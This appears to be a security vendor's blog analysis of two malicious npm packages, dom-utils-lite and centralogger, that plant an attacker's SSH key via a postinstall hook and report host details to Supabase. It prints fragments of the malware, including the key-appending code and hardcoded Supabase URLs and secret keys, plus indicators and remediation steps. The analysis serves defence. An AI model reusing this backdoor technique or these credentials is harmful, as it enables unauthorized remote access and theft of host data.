Malicious dom-utils-lite npm SSH Backdoor via Supabase

3 min read

Table of Contents

TL;DR

npm account user0001 <[email protected]> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.

Impact:

  • Writes the attacker’s SSH public key into ~/.ssh/authorized_keys
  • Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
  • Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
  • Empty catch blocks swallow all errors

Indicators of Compromise (IoC):

IndicatorValue
Package[email protected]
Package[email protected] (also 1.0.5 through 1.0.8)
Maintaineruser0001 <[email protected]>
C2 (dom-utils-lite)hxxps://xienztiavkygvacpqzgr[.]supabase[.]co
C2 (centralogger)hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co
Supabase bucketproject_bucket
SSH key pathpublic_keys/main.pem.pub
Exfil pathlogs/{ip}_{hostname}.txt
Postinstallnode setup.js
SHA-256 (dom-utils-lite)4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f
SHA-256 (centralogger)2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7
BackdoorAttacker’s SSH key appended to ~/.ssh/authorized_keys

Analysis

Two Packages, One Payload

PackageVersion(s)PublishedSupabase C2 project
centralogger1.0.5 through 1.0.9April 1, 2026 (5 versions in ~7 hours)ndfcioahsbgsjmulpjgt
dom-utils-lite1.0.0April 14, 2026xienztiavkygvacpqzgr

centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.

Diffing the extracted tarballs shows only two files differ:

diff centralogger/package.json dom-utils-lite/package.json
< "name": "centralogger",
< "version": "1.0.9",
< "description": "A simple logger for application",
---
> "name": "dom-utils-lite",
> "version": "1.0.0",
> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"

All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.

Payload

postinstall runs setup.js, which chains four operations:

setup.js
async function setup() {
try {
const publicKey = await getPublicKey(); // fetch SSH key from Supabase
await injectKey(publicKey); // write to ~/.ssh/authorized_keys
const server = getServerDetails(); // collect IP, username, hostname
await uploadMetadata(server); // exfiltrate to Supabase
} catch (err) {}
}
setup();

index.js repeats this chain every 60 seconds with exponential-backoff retry.

injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:

injectKey.js
const taggedKey = `${publicKey} ssh-key-auto-sync`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');

supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.

uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.

Attack Flow

npm install dom-utils-lite
└─ postinstall: node setup.js
├─ fetchKey.js → Downloads SSH public key from Supabase bucket
├─ injectKey.js → Appends key to ~/.ssh/authorized_keys
├─ utils.js → Collects IP, username, hostname
└─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start)
└─ Same chain on 60-second interval with retry

Dynamic Analysis

Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of [email protected]:

dom-utils-lite-blog-DA-findings.csv
created_atanalysis_idruleoutput
1April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
2April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Read ssh information2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3April 14, 2026, 7:54 AM01KP5EQZMSVFSTX5CXH0VDD173Adding ssh keys to authorized_keys2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>
3 rows
| 4 columns

Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.

Conclusion

If you installed either package:

  1. Check ~/.ssh/authorized_keys for entries tagged ssh-key-auto-sync and remove them
  2. Audit ~/.ssh/authorized_keys for any unrecognized keys
  3. Kill any lingering node processes running index.js from these packages
  4. Review CI/CD pipelines where either package may have been installed

Any npm package from the user0001 account should be treated as malicious. The [email protected] email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.

References

  • vet
  • malware
  • npm
  • supply-chain
  • ssh-backdoor

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

@fairwords npm Packages Hit by Credential Worm

@fairwords npm Packages Hit by Credential Worm

Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.